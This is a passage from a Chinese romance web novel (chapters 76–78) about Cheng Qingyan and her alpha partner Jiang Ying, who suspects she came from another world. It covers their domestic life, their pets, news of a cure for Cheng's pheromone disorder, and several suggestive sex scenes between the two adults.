不仅如此,还会夸她身体出现的反应很可爱,一边夸她可爱一边吃,时不时还叫几声姐姐。 在她累得呼吸不过来,不想亲的时候,坏东西会鼓励她,说她真棒,说她可以的。 真是又羞又色的坏东西。 独一无二,独属于她的。 程卿言闭上眼睛回味着,嘴角轻轻扬起了弧度。 不知道对方这会儿在做什么,这个点应该在吃晚饭了吧。 先送余简予回家,秦助理再掉头,送程卿言回了月泊林。 拉面丸子几天没见到她了,兴奋得不行,尾巴摇成螺旋桨,呜呜呜地叫着。 程卿言训狗有方,对它们说:“等我洗完澡,再陪你们玩。” 拉面丸子很听话,暂时停下来,自己去院子里蹦哒了。 程卿言坐在沙发上,给姜映发了消息:【我到家了,想去泡澡了,等会儿给你打视频】 消息发过去,她拿了睡裙去了浴室,点上青竹香氛,褪去身上的衣物,柔和的光落在她细腻白皙的曲线上,轻抬脚尖落于浴缸,水波荡漾,她坐了进去。 浴缸带有按摩功能,开启后,程卿言闭上眼睛,闻着青竹香,浑身得到舒缓。 半小时后,擦干身上的水珠,穿上睡裙,走了出去。 洗澡之前给餐厅打了电话,预约了送餐时间。 她走进客厅没到两分钟,门铃就敲了,程卿言瞥了眼壁钟,距离送餐的时间还差十多分钟,提前了这么多? 她起身走过去,打开显示屏看了眼门口的情况,透过屏幕瞧见来人时,微微震惊的同时嘴角也扬了起来,心跳快了几拍。 程卿言双手环胸,没有开门,按了显示屏上的通话,对门口的人说:“不是知道密码吗,自己开。” 话音落下,房门打开,心心念念的脸出现在了视野里。 姜映头上的纱布还没拆,青涩的脸上全是笑意,直接抱着了女人:“姐姐……” 怀抱是温暖的,呼吸也是。 程卿言嗯了一声,脸颊蹭了蹭alpha的脖子,在门口静静地抱了一会儿。 几息后松开,她牵着女生的手进了屋,坐在沙发上问道:“怎么突然过来了?” 姜映说:“医生同意我下午出院了。” 程卿言摸了摸的脸:“怎么不在家里养几天?” 姜映再次抱住她:“想你了。” 本来是打算在云县待几天,张芸也让她在家养一养,别急着到处跑,但早上打电话时,女人那一声因为思念而发出叹息,一直在她心中回荡着。 她不喜欢女人叹气,她喜欢女人带着轻笑的呼吸,她控制不住,所以直接回了碚城,来了月柏林。 抱在一起时两人的身体是紧紧贴在一起的,即使隔着衣服,也能听见彼此的心跳声。 程卿言咬了下女生的耳朵,似嗔似叹道:“不听话。” 姜映没反驳,她的耳朵很敏感,眸光颤动:“我不听话,姐姐你可以多咬几下。” 是奖励还是惩罚? 女人轻笑一声,又咬了几下,瞧见alpha的耳朵已经被弄得通红,才移了移位置,在女生眼睛上亲了一下,挺巧的鼻梁,以及唇上亲了亲。 浅浅的吻,只是安抚,安抚小姑娘因为受伤而出现的不安,她在心疼她。 但在她要从她嘴唇上移开,不再继续亲吻,打算说话时。 alpha温热的掌心有力又温柔地扣住了她的后脑上,抚在她腰肢上的手将她往前一带,alpha的吻直接落了下来。 带着她一点点沉沦,夺走了她的呼吸。 程卿言喘息着,有些承受不住alpha炽热的热情,胸腔起伏,休息了几秒,再一次被吻住了。 反复吻了几次,才松开她, 细密的汗覆上了额头,女生帮她吻掉,将她抱起来坐在腿上,低哑着声音在她耳边道:“姐姐。” “嗯……” 程卿言呼吸未平复,深深浅浅地呼吸着。 姜映有些受不了:“你累不累?” 程卿言下巴搁在她肩膀上,闭着眼睛道:“有一点。” “那你休息会儿。”姜映声呼一口气。 程卿言轻握住女生的指尖,捏了几下,十指相扣,两人掌心的汗黏在了一起。 她知道女生想做什么,心里很明白,她也想做。 但是她们现在确实得悠着点,一个头上有伤,一个精力不够,还是忍一忍为好。 门铃再一次响起,定的晚餐到了。 姜映起身去拿,主动摆好碗筷,和女人一起吃了晚饭。 程卿言给她提了稻村事故的调查结果,而后聊到了约云秋染余简予一起吃饭的事,问道:“你什么时候有空?” 姜映原本要到春节才放假,这次意外受伤,所以研究院那边直接给她放了假,让她休息几日再回去工作,因此这几天她都有空。 程卿言点头:“那我约约她们,你也问问你的室友。” 饭后,姜映收拾了餐桌。 客厅里放着电视,她以为女人躺在沙发上是在看电视,走过去才发现女人已经阖上了眼睫。 这么一小会儿就睡着了,不用想都知道,女人这几日有多累。 姜映拿起遥控器关掉电视。 客厅安静下来那瞬,程卿言睁开了眼睛,瞧见了女生眼眸中浓浓的心疼。 她没有睡着,只是乏了想眯一会儿,拉住对方的手,柔柔道:“在担心我?” 姜映点头:“你太累了。” “只累这一段时间,之后就不会了,”程卿言看着她,“我热爱我的事业,我很享受做成一件事情时所获得的成就感。” 事业上成就感会让她感到很快乐,这种快乐是任何东西都取代不了的,和爱情中获得的快乐完全不一样。 姜映喜欢她,她理解她会心疼她,但她也希望她会支持自己的选择,不要来劝说她。 程卿言很爱自己,一直清楚自己想要什么,不会伤害自己,劳累只是短暂的,也在她能承受的范围里。 若是真的受不了,即使再忙,她也会找各种零碎的时间休息。 “你会支持我的,对吗?”她问。 姜映抿了抿唇:“会的。” 程卿言:“在任何我做的大决定上,都会支持?” 姜映点头,随即又补充:“只要是合理的。” 很有原则,在大事上不会盲目答应。 程卿言挑眉笑了一声,坐起来亲了她一下,看着她的额头:“这会儿需要换药吗?” 姜映告诉她:“每天早上消消毒,换一下纱布就行,这会儿不用。” 伤口较深,缝了很多针,她愈合能力很强,一周之内就能去拆线了。 聊了会儿天,姜映去了浴室洗澡。 程卿言在客厅陪着拉面丸子玩了十来分钟,感觉有些困了,吃了体能药后,起身回了卧室。 * 姜映是在客厅配套的浴室洗漱的,出来时客厅没有女人的身影,拉面丸子躺在狗窝里呼呼大睡,她关了灯,轻手轻脚推开主卧的门。 微弱的夜灯亮着,女人安静地躺在床上,露出脑袋,已经睡下来了。 姜映从另一边掀开被子,躺上去后将女人抱在怀里,轻轻吻了吻她的额头。 程卿言喃喃道:“你洗好了?” 姜映:“洗好了。” “几点了?”女人问道。 姜映:“快九点了。” 女人说:“好早……” 没到九点就上床躺着,这对于近期的她而来确实有些罕见,对于精力旺盛的alpha而言,就更罕见了。 从上大学开始,姜映就没这么早睡过,她一点也不困,但是女人困了,她说:“你睡吧,我陪着你。” 程卿言浅浅地嗯了一声,鼻尖蹭了蹭她的锁骨,闻着她的味道,很快睡着了。 姜映听着女人平稳的呼吸声,不安的心慢慢落到了实出。 自从脑子里多出来了一段记忆,她一直在不安,有很多疑惑无法解决。 她也怀疑过这一切是幻觉,她的脑子被砸出问题了。 为此她特意去问了医生,和医生聊了聊,但医生说她精神是正常的。 在回碚城的路上,她认真地回顾了这些年出现在她身上的异样。 很小的时候老一辈的人就说她中了邪,经常会在睡梦中停止呼吸,医生检查不出原因。 长大一点后,身体才慢慢好起来,她的精力,愈合能力,异与常人的好。 以及成年后隔几个月会突然发热晕厥一次,也检查不出来原因,醒了之后就好了。 姜映的身上出现了太多用科学无法解释的现象,让她不得不相信,出现在脑子里的那段记忆是真的,她不属于这个世界。 不属于这个世界,正好应验了上一次和程卿言一起去寺庙里,解签师傅说的话:镜花水月,黄粱一梦,前路无踪,名书中无法找寻。 她的归属在哪? 时空局? 她不觉得那里是她的归属,本能让她抗拒那里,她不想再回去,只想远离。 姜映轻呼一口气,眼睛一眨不眨看着女人,握着女人的手,掌心的纹路重叠,仿佛命运的轨迹有了交织,怀里的人才是的归属。 即使留在程卿言身边,有被时空局发现的风险,她也不会远离她。 她只是担心,有危害到女人的意外发生。 前段时间姜映已经确认了程卿言患有信息素紊乱,她认真分析过,女人拥有着一切有利的条件,情况不会太糟糕,而且作为世界的女主,最后肯定会痊愈,不可能出事。 她作为外来者留在女人身边,会影响女主的命运吗。 姜映不清楚,所以这几日她一直在不安,直到这会儿听见了女人充满希望的,强有力的心跳声,才好受了很多。 她喜欢听她的心跳,听她的呼吸,以及她的笑声。 程卿言得快乐。 为此,让她做任何事情都可以。 无论程卿言是不是她的归属,她愿意为她付出一切。 既来之则安之,姜映讨厌未知,但未来只有在未来才会给她答案,她只能谨慎一些,走一步看一步。 * 十一点零六分。 程卿言舒服地睡了两个小时,身体的疲惫已经消解,缓缓睁开眼。 “醒了啊。”女生问她。 程卿言看着女生的脸,声音哑哑地嗯了一声。 姜映问:“还要继续睡吗?” “不想睡了。” “那起来看会儿电视?” “不想起床。” 姜映眼眸含笑:“继续躺着?” 程卿言扬了下唇,双手抱着她的脖子,翻身压在alpha身上,吻着alpha的下巴问道:“饿了没?” 女人在问这句话的时候,握住了她的指尖,细细揉着。 姜映呼吸热热的,滚了滚喉咙,懂了她的意思,正要有下一步动作。 女人吻了下她耳朵,命令道:“躺好,手给我,我自己来……” 第77章 恍惚 恍惚 第七十七章 程卿言向来不爱动手,讨厌干活。 和她熟悉的人都清楚她的性子。 姜映和她相处也有几个月了,近期接触的很频繁,自然知晓她不爱动,喜欢别人为她服务,并且不会觉得不好意思。 这会儿徒然听见女人提出这种勤劳的要求,姜映难以置信地看着女人,以为她听错了,惊讶道:“什么?” 程卿言嗔了她一眼,又在她耳边重复一遍,像是故意一般,语速放得很慢,字正腔圆,一个字一个字地说出来:“听清楚了吗?” 姜映深呼吸,耳朵发热,嗯了一声。 程卿言瞧着她的反应,问道:“你不愿意?” “没有……”姜映不仅没有不愿意,她发现她还有些兴奋,心跳快了好几拍,“会不会累着你?” 在她眼里,女人近期很容易累,工作又忙,其实好好躺着,让她为她服务,是最好的选择。 “不会。” 程卿言累了会休息,她又不傻,而且刚刚睡了几个小时,这会儿状态不错,适度来一来还是可以的。 不过女生没有猜错,她确实比较懒,不爱动,此刻主动提出这样的要求,是考虑到女生头上的伤。 即使好得快,也得静养,如果动来动去,伤口容易裂开。 这次alpha得听她的。 指尖轻轻扯了扯,解开女生的睡袍带子,随手丢在了地砖上。 几十秒后白色带子上又多了一抹紫色的小布料。 卧室里暖黄的夜灯一直亮着,墙上的两道身影如暖风吹动烛火,烛火忽明忽灭,不断晃动着。 风停,烛火静。 风起,烛火摇曳。 姜映躺在床上,腰上有着如暖流过境般的重量,眸光颤动,额头上全是细密的汗。 “姐姐。” “嗯……” 女人的这一声嗯夹杂在断断续续的呼吸声中,显得有些难受,姜映看着坐在她身上的人,哑着声音问她需不需要帮忙。 在得了允许后,温热的掌心扶着了女人腰。 青竹香氛在室内蔓延着,几分钟后,程卿言腰肢下塌,趴在了alpha身上,肌理泛着一颤一颤的淡粉,深呼几口气缓了缓。 女人松开了alpha的手腕,在alpha抬手给她脸颊上的汗时,她侧头躲开了,嫌弃道:“别挨着我的脸……” “嗯?” 姜映眨了眨眼,瞧了眼有些黏的掌心,自己的也要嫌弃啊,她轻轻笑了一下,换了另一只手给女人擦汗。 程卿言听见她的笑声,嗔道:“你在笑我?” 姜映抚着她的背,眼眸含笑,红着脸说:“你刚才好可爱。” “喜欢?” “喜欢。” 程卿言哼了一声,捏了捏她的耳朵,不用问她都知道这坏东西很喜欢。 方才眼睛都不眨一下,又纯又欲的眼神一直落在她身上,看得她都有些羞耻了。 “看爽了?” “嗯。” alpha红了脸,这会儿有点不好意思了,但行为上并没有任何不好意思,掌心和沉甸甸的心口打着招呼,小声问她:“我可以吻吗?” 程卿言呼了口气,闭上眼睛道:“先让我休息会儿。” 坏东西只是看还不够,还贪心地想吃。 姜映道:“好的。” 女生很体贴,在她休息时,一直给她按摩,缓解腰部的酸软。 程卿言知道她是好心,但是女生手腕上那根湿漉漉的红绳会时不时碰到她,她睁开眼睛道:“你去浴室洗一洗。” “现在?”姜映问。 程卿言点头,翻身从alpha身上下去,抱着被子躺在了床上。 姜映在她额头上吻了一下,下床时还勤快地捡起来女人丢在地上的底裤和睡裙,以及自己的睡袍带子,一起拿进浴室丢进了脏衣篓里。 浴室的灯比卧室里的夜灯亮了很多,她这才看清楚她此刻是什么样子。 她的浴袍一直没脱,放在只是散开了,等同于床单,已经变得皱巴巴的了。 腰那里有些红,摸上去黏黏的,手腕上的红绳也一样,取下来之后还能拧出水,难怪女人会嫌弃。 姜映打开淋浴,花了几分钟洗了澡,换上干净的睡袍走了出去,问道:“姐姐你这会儿要清理一下吗?” 程卿言乱乱地趴在床上,被子也不好好盖,声音软绵绵的:“有点累。” 姜映走到床边,瞧着女人背部曲线,喉咙发痒:“我可以帮你。” 程卿言摇头,片刻后坐了起来:“我自己去。” 她可不想女生动来动去,累到了,影响伤口的恢复。 方才她腰酸的不行,没力气动了,也仅仅是让女生扶着她,没有同意女生来主导。 她在这件事上态度很坚决,没得商量。 快速洗了澡,出去时正好瞧见姜映嘴角的笑容,她也跟着笑了一声,也不知道她在傻乐什么。 躺回床上,睡前敷衍地让女生长了几口身体,她便将人推开,alpha有点粘人,推开了又挨了过去,程卿言呼了几口气,说道:“你乖乖睡觉不行吗?” 姜映说:“我不困。” 程卿言:“你不困,也得让你得脑子休息。” 姜映眨眼,哦了一声,片刻后商量道:“真的不可以吗?” “我想睡了。” “你睡,我轻轻的。” 这是什么话,程卿言瞥了她一眼,指腹摸了摸她的嘴角和牙尖,幽幽道:“你小时候是不是很爱咬奶嘴?” 姜映有点惊讶:“你怎么知道?” 程卿言呵了一声,这不是很明显的事情嘛。 姜映和她聊天:“你小时候不会吗?” 程卿言说:“我不会,我长牙的时候没有咬东西。” “我不是因为长牙才咬奶嘴。”姜映说。 程卿言好奇:“那是为什么?” 单纯嘴馋? 姜映如实说:“我很小的时候身体不是很好,总是哭,哭起来很吵,容易影响大人做事,就放奶嘴在我嘴里,就不吵了。” 她说这件事时,没有任何情绪起伏,只是在给女人解释她喜欢咬奶嘴的原因。 但程卿言听了之后,就没说话了,安静了好一会儿。 静到姜映以为她睡着了,小声道:“程卿言?” 嗯? 这坏家伙又叫她大名,受伤醒来那晚就叫了她的大名,叫上瘾了? 没大没小的。 程卿言呵了一声:“不是要吃吗,快点,给你两分钟。” 姜映嘴角微扬:“你不是要睡觉吗?” 程卿言:“还有一分五十秒。” 在倒计时了,姜映快速低头靠过去,窸窸窣窣的声音响起。 程卿言眉心轻轻颤着,捏了捏alpha的后颈,喘着气提醒:“慢一点,别撞到额头的伤了。” alpha口齿不清,含糊地应了几声。 程卿言有点不好受,她觉得她不该心软,不该纵容。 方才闹的时候,她是主导,也只是在外蹭着,没有深入,她没那个体力。 舒服是舒服了,但也谈不上尽兴。 坏东西这会儿又来招惹她,程卿言又来了点感觉,两分钟很快就到了,但这人还抿着不松开,她忍无可忍道:“信不信我踹你下去?” 姜映颤睫,抬头看着她,朝着她笑了笑。 伸手不打笑脸人。 程卿言掐了掐她的脸,闭上眼睛,道了声晚安。 姜映给她盖好被子,她也有点困了,抱着女人慢慢睡着了。 一夜无梦。 休息得很好,次日醒得比较早,一前一后睁开眼。 姜映说:“早。” 程卿言嗯了一声,在女生怀里懒了几分钟才坐起来,洗漱吃早餐换衣服,做好这些后,她又给女生额头的伤口消毒缓纱布。 伤口恢复得很好,医生的缝合技术也不错,但伤口不小,长度大概在七到八厘米之间,泛着红,看起来很骇人。 程卿言深呼一口气,轻轻地给她吹了吹,告诉她:“即使留疤了,现在的医美很发达,疤痕很容易去掉。” 姜映知道她在担心她,安抚道:“不会留疤的,我愈合能力好。” 程卿言点头,给她换好了纱布:“可以了。” 姜映:“谢谢姐姐。” 程卿言挑了下眉,看了眼时间:“我得去公司了,你今天怎么安排?” 在家里休息,和拉面丸子玩,看书学习,或者是去找朋友逛一逛街,也是可以的。 姜映想了想:“我过会儿去趟研究院。” 程卿言问:“你不是有几天病假吗?” 姜映:“有的,但是我没事情做,想去帮帮忙。” 程卿言尊重她,同时提醒道:“注意脑子,别太累了。” 姜映点头:“知道了。” 程卿言抱了抱她:“那我走了。” 姜映不舍地送开她,看着她上车离开。 在院子里陪着拉面丸子玩了一会儿,也起身离开了月泊林,回了趟家,几天没瞧见柚柚了,她得回来看看。 不想别人担心,她带了顶浅色的宽松毛线帽,遮住了额头,张阿姨没瞧出来她受了伤,热情地和她聊了聊天。 柚柚趴在她腿上,呼呼大睡。 张阿姨说:“对了,我后天要去我女儿那里了。” 姜映说:“您不是年后才搬过去吗?” 张阿姨道:“年后搬东西,我后天过去陪着她过年,给她弄好吃的。” 张阿姨要提前离开,柚柚不会跟着她离开,姜映得安排好柚柚的去处,按照她之前的计划,在她特别忙,好几天不能回来时,就送柚柚去小区旁边的宠物店寄养着。 她已经考察过了,宠物店的环境干净卫生,老板和店员都很负责,柚柚胆子大,出门也不会应激。 宠物店是个很好的选择,但前不久程卿言主动提出带柚柚去她那里,因此姜映先给女人发了消息,说了这会儿的情况。 程卿言回复:【你把它带过去吧,它平时需要用的东西,你带一点点就行了,别累着你了,周末我们可以一起去买新的】 姜映扬了扬唇:【好的,谢谢姐姐】 程卿言:【又说谢?】 姜映笑了一下,撤回上一条消息,重新编辑:【好的,姐姐真好】 程卿言笑了一声:【你等会儿在哪吃饭?】 姜映说:【张阿姨留我在她家吃】 程卿言:【多吃点,补补身体,我去开会了】 姜映应了好,柚柚从她腿上跳了下去,跑去阳台晒太阳,她拍了两张照片发给程卿言,而后放下手机,去厨房帮忙了。 张阿姨舍不得柚柚,姜映想了想道:“要不我明天再过来接它?” “不了,明天来我也舍不得,不如提前戒断一下,”张阿姨给柚柚挠着脑袋,“我等会儿把它的东西收拾好。” 姜映点头,她傍晚再过来接柚柚,午饭过后坐地铁去了一趟研究院,到了工位,恰好碰见楚工,她主动打了招呼。 楚工皱了皱眉:“不是让你休息几天吗?” 姜映说:“我的伤没那么严重,可以来帮帮忙。” 有假不休,顶伤工作。 楚工见不得年轻人这样折腾身体,直接将她赶走了,语气有些凶:“假放完了再来,研究院离了你不会垮,快离开。” 姜映见状,只能离开,继续休息了。 休息。 这个词对她而言也挺陌生的,大学期间她不是在学习就是在兼职,几乎没有休息的时间。 很多人都说她无趣,生活枯燥。 休息的时候能做点什么? 程卿言在工作,她不可能去打扰她,静思片刻,她进了一家安静的书店,点了一杯饮品,坐下后在脑识里念出了密码,蓝屏界面出现,她又细细的翻看了一遍工作日志,试图找出些她想知道的信息。 几个小时过去,还是什么都没发现,系统也开始一遍一遍地提醒她世界错乱,让她联系时空局进行报错。 嗡嗡嗡地响,很吵,姜映快速退出了登录。 退出时也要输入一遍密码。 耳朵安静了,蓝屏界面消失,姜映眉心蹙了一下,在想sysyqy是什么意思。 系统告诉过她密码是自行设定的,根本她对自己的了解,不可能随意按几个字母作为密码,一定有含义在其中。 sys,试一试,摄影师,实验室。 yqy,有歧义,有求于,一千元。 sy,声音,术语,属于。 qy,企业,亲眼,情意,卿言…… 卿言? 姜映心口猛得跳了一下。 程卿言? 她的密码会和程卿言有关吗,可是程卿言不是她的女主,为什么会用她的名字作为密码,端起杯子喝了几口冷饮,让自己冷静下来。 片刻后她觉得可能是巧合,qy不只有卿言的意思,还有可能是青月,她的室友周青月的名字也是这两个字母。 姜映呼了一口气,脑子里没有这部分记忆,侧眸看向窗,发现天逐渐暗了下来,马上五点了。 不知不觉中一个下午就过去了,什么事情都没理清楚,这让她有些挫败,起身离开,去张阿姨家里接柚柚,一个多小时后到了月泊林。 程卿言还没到家,拉面丸子在院子玩,见她回来热情地跑到她身边,瞧着航空箱里的柚柚,呜呜呜地叫了几声,十分好奇地看见。 拉面丸子性格好,不凶,但题型偏大,姜映最初见到它们也有点害怕,担心柚柚应激,她没急着放柚柚出来,认真地观察着它们的状态, * 程卿言在回来的路上也想到了这事,拉面丸子以往只和小狗玩过,没有同猫相处的经验,体型大,有时候玩起来没轻没重的,不知道会不会吓到柚柚。 她希望它们和平相处。 回到家后,瞧着眼前的场景,程卿言有些惊讶地愣了几秒,挑眉笑了一声,只觉得她多虑了。 柚柚躺在拉面身上悠闲从容地舔着爪子,拉面这傻狗完全没有反抗,还特别开心地摇起了尾巴。 而丸子呢,有些着急,故意踩了几脚拉面,眼巴巴地看着柚柚,呜呜呜呜地叫着,好似在邀请柚柚去它身上睡觉觉。 几息后,柚柚起身,弓背伸懒腰,悠闲地去了丸子身上躺着,丸子立马摇起了尾巴。 还懂得雨露均沾,程卿言双手环胸,笑出声。 姜映从厨房走出来,眼眸含笑叫了她一声。 程卿言指尖挑起她的下巴:“你的猫挺厉害的。” “我也觉得。” 姜映认同她说的话,柚柚来了这里没有任何不适,一点也不害怕,很满意地在屋内屋外巡视了一圈,顺便霸气地收服了拉面丸子。 程卿言笑了一声,她怎么有种柚柚是她养的猫,拉面丸子才是女生养的狗的感觉。 傻傻的狗。 爱摇尾巴。 和姜映一个样,从前见着她爱脸红,现在见着她爱傻笑。 程卿言凑过去,在alpha唇上吻了一下,问道:“晚饭做好了吗?” 今晚本来打算让餐厅送餐,不想女生忙活,但女生说太无聊了,想找点事情做,向她保证晚饭会做得很简单,不会累着,她才同意的。 “差不多了,我煲了汤,再炖几分钟就行了。”姜映牵着她去了洗手间,贴心地给她洗了手。 程卿言瞧了眼女生手腕上的红绳,昨夜清洗过后已经晒干了,女生又戴上了。 还好是女生戴的是红绳,不是手链,不然她肯定会划伤。 “姐姐。”女生叫了她一声。 程卿言从昨晚的画面中回神,呼口气问道:“怎么了?” 姜映道:“我问过青月好林溪了,她们说年前每天都有空,随时都可以一起吃饭。” 程卿言嗯了一声:“你告诉她们是和谁吃饭没?” 姜映点头:“说了。” “怎么说的?”程卿言问。 姜映颤了颤眼睫,有点不好意思,小声道:“喜欢的人……” 程卿言心情愉悦,嘴角扬起,捏了捏她红起来的耳朵。 “还有你的朋友。”姜映接着补充。 她是在寝室群里说的,可能想着她会害羞,周青月和林溪也没追问她喜欢的人是谁,就答应了,所以她也没多解释,想着见面的时候在介绍。 姜映的朋友有空,随时可以约,那就得看云秋染哪天休息了。 程卿言拿起手机发了消息,聊了几句,询问云秋染的日程安排。 晚饭吃得简单,山药排骨汤和炒时蔬,偏清淡,但味道很好,程卿言饭量不大,汤不错,今晚多喝了半碗。 饭后姜映收拾厨房,她有自知之明,没去添乱,给女生系围裙的时候,双手揽着女生的脖子,边吻边道:“辛苦…嗯…” 话没说完,alpha热情地吻住了她,将她抵在了墙上,浅吻变成了深吻,五六分钟后才停下来。 程卿言面色绯红地呼吸着,衬衫领口的纽扣被alpha的唇舌解开了两颗,衣服下摆也乱乱的。 缓了一会儿,睁开眼瞧见alpha眼眸中的爱意与欲念,她抬头吻了吻她泛红的眼尾:“我出去了。” “好,我很快收拾完。”姜映的声音有点哑,松开了她。 程卿言回了客厅,坐在沙发上休息,平复着身体里的悸动。 alpha在忍耐,忍得眼眶都红了,她能感受到她忍得很不舒服。 昨晚也是如此,她体力有限,也不让女生乱动,她很快就累了,感觉到舒服了,然后就停了下来。 但是姜映肯定没有得到满足,一直在迁就她,也没有抱怨,顶多只是缠着要吻她。 程卿言轻呼一口气,对此她也没办法,她也在忍。 片刻后柚柚主动躺到了她腿上,喵喵喵地叫了几声,程卿言回神笑了一声,给它顺着毛,养猫的体验感确实不错,高傲又粘人。 拉面丸子跑到了她脚边蹲下,羡慕地看着柚柚。 程卿言:? 傻狗不会想让她抱它们吧,她可抱不起来,陪着它们玩了一会儿,电话响了,她瞥了眼来电显示,是孙影打来的。 孙影工作很忙,将所有的时间都投入到特效药的研究中了,一般不会在晚上给她打电话。 程卿言拿起手机去了阳台,按了接通。 * 姜映干活利索,很快收拾好了厨房,出来时瞧见女人一动不动站在落地窗前。 室内的灯是亮着的,电视也是开着的,拉面丸子正在玩耍,也闹出了动静,环境并不安静。 可女人站在那里,平静的神色中有种无法用语言描述出来的空无,不是寂寥笼罩着女人,好似女人就是寂寥本身。 姜映心口一颤,快步走过去,从身后抱着她,柔声问:“怎么了?” 程卿言转身看了看她的眼眸,几息后将下巴搁在了女生的肩膀上,抓起女生的手放在心口出,问道:“能感受到我的心跳吗?” 姜映嗯了一声,担忧问道:“是不是身体不舒服?” 程卿言摇头,她没有不舒服,她只是有些恍惚。 就在刚才,孙影告诉她,治疗omeg息素紊乱的特效药,研发成功了。 折磨了她十四年的信息素紊乱,即将从她身体里消失。 程卿言恍惚,惆怅,明明有很多情绪,可是宣泄不出来,觉得有些不真实。 她拉住alpha的手,需要alpha带她回到真实中,命令她抱紧她:“弄哭我……” 第78章 感受 感受 第七十八章 哭泣分为很多种。 悲伤的,喜悦的,激动的,或者只是想单纯地发泄情绪。 程卿言不知道她此刻属于哪种情况,她的内心有些复杂,恍惚地觉得周围的一切都不是真实的。 特效药研究出来了,她应该高兴才对,可过往的十四年在脑海中不断闪烁着,从最初对信息素紊乱的害怕,到后面的冷静面对,一次次硬抗,她已经习惯了。 可是此刻,她感觉她有点难受,想摆脱这种情绪,想让自己回到真实中。 能帮她的人,只是姜映。 程卿言很少流泪,她也不喜欢因为难受而流泪,因此她向alpha提出了她的诉求。 用力点,让她哭出来。 姜映能感受到她的情绪,受不了她难过,一遍遍吻她,哄着应着。 卧室的门一直关着,柚柚和拉面丸子跑过来,围在门前,听着里面传来的细微动静,时不时拿着爪子挠了挠门。 但是推不开,也没有人来给它们开门。 动物的听觉比人类好,拉面丸子听见主人的啜泣声,最开始很担忧,狗脸上满是着急。 但很快又分辨出来主人的哭声不是因为难受,呜呜呜叫了几下,放心地趴下了。 卧室里的动静停下时,姜映手腕上的红绳又能拧出水了,她柔情地吻了吻女人眼尾的泪水。 “姐姐。” 女人阖着的眼睫颤了颤,困得只想睡觉,没有应话。 姜映起身下床,快速给女人清理,女人也没反对,任由她摆弄,几分钟后她吻了吻她的额头。 “睡吧。” 关了灯,卧室陷入黑暗。 时间还早,不到九点。 姜映没有任何困意,女人的呼吸已经均匀了,应该已经睡着了。 只是浅浅地来了两次,担心对方受不了,她依旧没有深入,因此对方不是做累的,而是情绪起伏有些大,过于投入,才累得睡着了。 室内昏暗,姜映眼眸落在女人模糊的脸颊上,想着方才的事。 女人的情绪是从什么时候不太对的? 吃饭的时候是正常的,给她系围裙的时候也很正常,等她收拾完厨房出来就瞧见她的情绪不太对了。 收拾厨房用了十来分钟,如此短的时间里发生了什么,她不清楚。 程卿言没告诉她。 姜映轻呼一口气,不太喜欢这种感觉,但她又没办法,女人若是不说,她不可能强迫她。 她希望她开心起来。 * 翌日清晨。 姜映睁眼那会儿天还没亮,她已经睡不着了,拿起手机看了眼时间,六点五十八分。 若是要上班,她可以起床了,但是她这几日在放假,起来也没事情做,瞧见有几条微信消息,她点进去看了一眼,是夏云升给她发的消息。 夏云升:【姜映!!!!】 夏云升:【好消息!!治疗omeg息素紊乱的特效药研制成功了!!上次你让我检验的拿颗药的服用者是你朋友吗,哎呀不管是谁,你让她赶紧去腺体研究所做登记,走一下流程,早治疗早康复】 消息是在二十分钟前发来的,姜映瞬间清醒,深呼一口气,立马回复:【消息可靠吗?】 半分钟后夏云升发来了消息:【可靠,千真万确,腺体科的朋友告诉我,她导师在昨晚得到的消息,特效药的三轮试药都结束了,已经成功了,好像今天中午就会对外公布这个消息】 信息素紊乱属基因缺陷类的疾病,无数人经过了这么多年的努力,终于解决了这个难题,患有此类病症的omega会恢复健康,日后不会再受信息素的折磨。 姜映激动到手都在抖:【谢谢,谢谢你通知我】 夏云升:【说啥谢呀,我有没帮上什么忙,你赶紧告诉你朋友这个好消息吧】 姜映:【我知道了】 放下手机,她立马侧头看向还在睡梦中女人,张了张嘴想叫醒她,话到嘴边又咽了回去。 突然反应过来对方昨晚情绪发生变化的原因了。 在她收拾厨房的那十分钟,程卿言肯定得到了特效药研发成功的消息,以女人和腺体研究所的关系,一定会在第一时间知道,比夏云升朋友的导师还要早知道。 姜映心跳很快,即使是她,作为旁观者,在知晓消息这一刻,情绪也是复杂的,而女人被信息素紊乱折磨了这么多年,心绪只会比她更复杂。 姜映看着女人,既为她高兴,又在心疼她。 这些年辛苦了。 眼眶泛起了红,在女人醒过来那一秒,她温柔怜惜地吻住了女人的唇。 “嗯……” “姐姐。” alpha的吻一点点蔓延下落,程卿言眼睫颤动,五指紧绷穿梭在alpha的乌黑柔顺的发间,听着被褥里窸窸窣窣的声音,时急时缓。 “别……” “很快,姐姐会喜欢的。” 几分钟后,脑内出现了几秒的空白,急促的呼吸在那浑身松下的那一瞬过去后,也慢慢平复下来。 姜映起来抱着她,给她擦着脖子上的薄汗,问道:“还要睡会儿吗?” 程卿言呼口气,缓缓睁开眼,视线首先落在女生额头的伤口上,检查有没有渗血,瞧见没事后,狠狠嗔了眼她。 姜映朝着她笑了笑:“我错了。” 若此刻这张青涩的脸不是湿漉漉,她真会觉得女生不懂情事很单纯。 很有欺骗性的一张脸。 程卿言呵了一身,在女生腰上掐了几下,道:“我要去洗澡。” 姜映眼睛很亮,体贴道:“我帮你洗?” 程卿言拒绝,在床上躺了会儿,alpha将她想穿的衣服拿进了浴室,又在浴缸里放好了水,她才起身去泡澡了,将alpha关在了门外。 二十多分钟后,她穿好衣服,去了客厅。 姜映恰好做好了早餐,牵着她过去坐下,给她盛了粥。 上次在电话里提过的大骨粥。 很香,且不腻。 程卿言吃了大半碗。 姜映问道:“还要吗?” 程卿言:“不要了。” 姜映点头,她有点饿,比女人多吃了一些。 程卿言瞧着她吃饭的样子,文静秀气,一口一口慢慢地吞咽,不会发出不雅的声音。 怎么在床上吃的时候就…… 又急又快,还会发出了吞咽的声音。 虽然不莽撞,没有让她不舒服,但是听着就是很奇怪。 程卿言偶尔也会觉得羞耻,经过这几次的体验,她发现alpha的一个癖好,很爱听那种时候弄出的一切声响。 呼吸声,心疼声,肌理的接触声…… 所有的声音女生都很喜欢。 姜映见她一直看着自己,问道:“怎么了?” 程卿言朝着她笑了笑:“没事,你继续。” 姜映哦了一声,继续用餐。 昨晚睡得太早了,因此今天起得比较早,吃了早饭之后还能在家待会儿,不用急着去公司。 程卿言瞧着女生一直扬着嘴角,觉得女生今天的心情肯定很好,因为什么? 早上吃到了喜欢的,就那么开心吗。 程卿言给她换了纱布,捏了捏她的脸,年轻的alpha开了窍,精力又很旺盛,她这些日子确实委屈她了,好在特效药已经研发成功了,再过不久,她们就能毫无顾虑地做想做的事情了。 